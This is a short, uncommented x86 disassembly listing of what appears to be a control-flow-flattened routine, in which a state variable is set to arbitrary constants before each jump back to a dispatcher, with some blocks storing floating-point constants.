mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x108], 0x78645827
jmp 0x1000bf3f
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10019250]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xc557f5bc
jmp 0x1000bf3f
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1001924c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10019248]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x5f09eb73
jmp 0x1000bf3f
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001921c]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xef940197
jmp 0x1000bf3f
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10019218]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xf770ed6a
jmp 0x1000bf3f
mov dword [ebp - 0x108], 0x41b142cd
jmp 0x1000bf3f
mov dword [ebp - 0x108], 0xcd578226
jmp 0x1000bf3f
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100191ac]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100191a8]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xa2fb0291
jmp 0x1000bf3f
mov dword [ebp - 0x108], 0x10c26d7
jmp 0x1000bf3f
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x108], 0x71696582
jmp 0x1000bf3f
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x108], 0x485f4f5c
jmp 0x1000bf3f
mov ax, word [ebp - 0x24]
mov dword [ebp - 0x108], 0x8e92e397
jmp 0x1000bf3f
mov dword [ebp - 0x108], 0x5a5ff37c
jmp 0x1000bf3f
jmp 0x10002aff